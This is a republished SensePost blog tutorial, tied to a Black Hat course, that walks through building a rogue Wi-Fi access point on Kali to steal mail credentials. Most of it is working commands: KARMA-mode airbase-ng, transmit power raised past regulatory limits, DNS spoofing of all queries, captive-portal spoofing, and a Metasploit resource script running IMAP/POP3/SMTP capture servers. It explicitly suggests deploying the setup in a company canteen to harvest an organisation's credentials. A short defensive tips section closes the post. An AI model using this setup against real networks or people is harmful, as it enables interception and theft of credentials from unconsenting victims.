This is republished from the original on the SensePost blog.
In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the “unauthorised access points” Bob in Marketing bought and plugged into your internal network for his team to use.
I’ll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.
This is a fairly detailed “how-to” style blog entry that gives you a taste of what you can grab on our training course.
Preparation
First up, you’ll need a wireless card that supports injection. The aircrack forums maintain a list. I’m using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service. The newer Alfa AWUS036NHA has an Atheros chipset that will play much better with hosapd, and the top-end card is the Ubiquiti SR-71 which gives rock solid performance. But, we're going for entry level, so as long as you have a card that supports injection, you're golden.
Second, you’ll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali).
For this setup, you won’t need upstream internet connectivity. In many ways setting up a “mitm” style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We’re going to keep things simple.
Finally, you’ll need to install some packages, I’ll discuss those as we set each thing up.
Overview
We’re going to string a couple of things together here:
Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail)
There are several ways you can do each of these depending on preference and equipment. I’ll cover some alternatives, but here I’m going for quick and simple.
Access Point
If you want to do this seriously, you need an expensive wifi card (I recommend the Ubiquiti SR-71 at approx $150), and to be using digininja’s karma patched version of hostapd. You could also go for the much cheaper AWUS036NHA and still use hostapd. However, if you have an entry level card that only supports injection, you can still have some fun, and that's what we'll cover by using airbase-ng. You won’t get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it’s often good enough.
For this section, we’ll use a few tools:
- airbase-ng (via the aircrack-ng suite)
- macchanger
- iw
You can install these with: apt-get install aircrack-ng macchanger iw
First, let’s practise some good opsec and randomise our MAC address, then, while we’re at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we’ll run:
ifconfig wlan0 down
macchanger -r wlan0 #randomise our MAC
iw reg set BO #change our regulatory domain to something more permissive
ifconfig wlan0 up
iwconfig wlan0 txpower 30 #1Watt transmit power
Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof.
airmon-ng start wlan0 #Put our card into monitor mode
airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode
#airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma)
Airbase has a couple of different ways to work. I’ll explain the parameters:
- -c channel, check which channel is the least occupied with airodump
- -P (karma mode) respond to all probes i.e. if a victim’s device is usually connects to the open network “Internet” it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn’t an ESS for the Internet network, will join our AP.
- -y don’t respond to broadcast probes, aka the “is there anyone out there” shout of wifi. This helps in busy areas to reduce the AP’s workload
- -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you’re having trouble connecting, increasing this can help, but not much
- -v be verbose
- -e “Internet” pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets.
If you’re putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running.
Routing & IP Time
There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can’t NAT from wifi to wifi). We’re not using an upstream connection, so things are somewhat simpler, we’re just going to give our AP an IP and add a route for it’s network. It’s all standard unix tools here.
The basics:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo '1' > /proc/sys/net/ipv4/ip_forward
This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates:
apt-get install bridge-utils #To get the brctl tool, only run this once
brctl addbr br0
brctl addif br0 eth0 #Assuming eth0 is your upstream interface
brctl addif br0 at0
ifconfig br0 up
If you wanted to NAT, you could use:
iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first
iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY
iptables --policy FORWARD ACCEPT
iptables -t nat -F
iptables -F
#The actual NAT stuff
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i at0 -o eth0 -j ACCEPT
Legitimate Services
We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I’d recommend using the standard isc-dhcp-server in Kali which is rock solid.
apt-get install isc-dhcp-server #Only run this once
cat >> dhcpd.conf #We need to write the dhcp config file
authoritative;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}^D #If you chose this method of writing the file, hit Ctrl-D
dhcpd -cf dhcpd.conf
Evil Services
We’re going to cover three evil services here:
- DNS spoofing
- Captive portal detection avoidance
- Mail credential interception services
DNS spoofing
Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song’s dnsspoof. An alternative would be to use metasploit’s fakedns, but I find that makes the metasploit output rather noisy. Since there’s no upstream, we’ll just spoof all DNS queries to point back to us.
apt-get install dsniff #Only run the first time :)
cat >> dns.txt
10.0.0.1 *
^D #As in hit Ctrl-C
dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script
Captive Portal Detection Avoidance
Some OS’s will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there’s a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit’s http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here (link to SP's site).
apt-get install apache2
wget http://www.sensepost.com/blogstatic/2013/07/apache-spoof_captive_portal.tar.gz
cd /
tar zcvf ~/apache-spoof_captive_portal.tar.gz
service apache start
This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for accounts.google.com, www.facebook.com, twitter.com etc. (students will get nice pre-prepared versions that write to msf’s cred store). Because dnsspoof is pointing all queries back to our host, requests for www.apple.com will hit our apache.
Mail credential interception
Next up, let’s configure the mail interception. Here we’re going to use metasploit’s capture server. I’ll show how this can be used for mail, but once you’ve got this up, it’s pretty trivial to get the rest up too (ala karmetasploit).
All we need to do, is create a resource script, then edit it with msfconsole:
cat >> karma-mail.rc
use auxiliary/server/capture/imap
exploit -j
use auxiliary/server/capture/pop3
exploit -j
use auxiliary/server/capture/smtp
exploit -j
use auxiliary/server/capture/imap
set SRVPORT 993
set SSL true
exploit -j
use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
exploit -j
use auxiliary/server/capture/smtp
set SRVPORT 465
set SSL true
exploit -j
^D #In case you're just joining us, yes that's a Ctrl-D
msfconsole -r mail-karma.rc #Fire it up
This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won’t cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR’s auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user’s usually get some sort of cert warning (if your cert isn’t trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely.
Protections
When doing this stuff, it’s interesting to see just how confusing the various warnings are from certain OS’es and how even security people get taken sometimes. To defend yourself, do the following:
- Don’t join “open” wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later.
- Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it’s saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to “forget this network”.
- Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it’s SSL negotiation if the *exact* certificate it’s expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It’s easy, when you’re in a rush and not thinking, to click other devices “Continue” button.
Conclusion
By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it’s a fairly cheap way to grab credentials of a target organisation.
This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT’ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff.
If you’d like to learn more about this and other wifi hacking techniques, then check out our Hacking by Numbers – Unplugged edition course at Black Hat. We’ve got loads of space.
If you’d like to read more, taddong’s RootedCon talk from this year is a good place to start.